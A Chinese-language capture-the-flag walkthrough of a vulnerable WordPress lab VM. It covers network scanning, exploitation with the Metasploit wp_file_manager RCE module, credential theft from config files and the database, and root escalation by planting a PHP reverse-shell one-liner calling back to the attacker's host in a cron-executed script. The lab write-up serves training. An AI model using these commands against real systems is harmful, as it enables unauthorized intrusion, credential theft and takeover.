靶机分享
目录
靶机下载地址:Download (Mirror)
1.信息收集
1.1 发现主机IP
使用命令:arp-scan -l
1.2 扫描开放端口
使用命令:nmap -A -p- http://192.168.56.101
发现开放的是 80/http 端口和 22/tcp 端口,先访问一下看有没有什么有用的信息
只有一张图片,没找到什么可以利用的信息
1.3 扫描敏感目录
使用命令:dirb http://192.168.56.101
扫出一堆blog子目录,接下来去访问一下
http://192.168.56.101/blog/wp-login.php
2. 漏洞扫描
在这里呢看得出来是一个WordPress的cms框架,可以使用 wpscan工具进行漏扫,但由于我的kali中的wpscan有点问题,就用 acunetix 扫描一下
以下呢是wpscan官网中对该漏洞的说明,这说明这个漏洞是可以利用一下的,接下来用 msf 试一下
2.1 漏洞利用
使用 msf
msf6 > search wordpress file manager
使用编号为1(利用/multi/http/wp_file_manager管理器未经身份验证的远程代码执行)模块
use 1
查看需要配置的信息
需要配置rhost(目标主机),targeturl(目标网址),这个目标网址会自动跟前面的目标主机拼接,所以我们直接把rhost设置为靶机的ip,targeturl设置成/blog即可,这里因为使用的是反向,所以还需要配置自己的主机ip
set RHOST 192.168.56.101
set LHOST 192.168.56.102
set payload
set TARGETURI /blog
run
在hagrid98家目录下得到一串base64格式加密的数据,尝试在线解码看是否含有敏感信息
MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==
2.2 数据库语句查询:
我们找到了第一个魂器 使用 getuid
发现权限比较低 这里我们的思路就是需要提权操作了!
wordpress
用户会在 mysql 数据库中存储信息,在/etc/wordpress
里可以查看 config-default.php
结果发现一名用户 root 密码为 mySecr3tPass
cd /etc/wordpress
cat config-default.php
账号:root
密码:mySecr3tPass
使用用户名与密码登录数据库
python3 -c "import pty;pty.spawn('/bin/bash')"
wordpress数据库保存的用户名和密码一般都放在wp_users表里面的,所以查看一下wp_users表是否有敏感信息
发现一个用户名和经过MD5编码的密码,收集起来尝试解码
用户名:hagrid98
密码:password123
2.3 ssh远程连接
尝试用得到的账密ssh远程连接
成功登录进来,既然进来了我们就试一下看能否获得管理权限
3.root提权
3.1 使用sudo 却发现没有可利用的
sudo -l find / -user root -perm /4000 2>/dev/null
3.2 查找一下备份文件,看有没有 .sh 结尾的备份文件
find / -name '*.sh'
这应该是被写入了计划任务,所以这里我们建立一个反弹shell的脚本并通过它这个计划任务来执行
直接在 .backup.sh 写入脚本,脚本代码如下
php -r '$sock=fsockopen("192.168.56.102",6868);exec("/bin/sh -i <&3 >&3 2>&3");'
将木马直接写入.backup.sh 中,输入命令: ./.backup.sh 执行
使用kali监听6868端口
nc -lvnp 6868
提权到root
拿到root后可以使用 crontab -l,查看当前用户的计划任务列表
找到了第二个旗子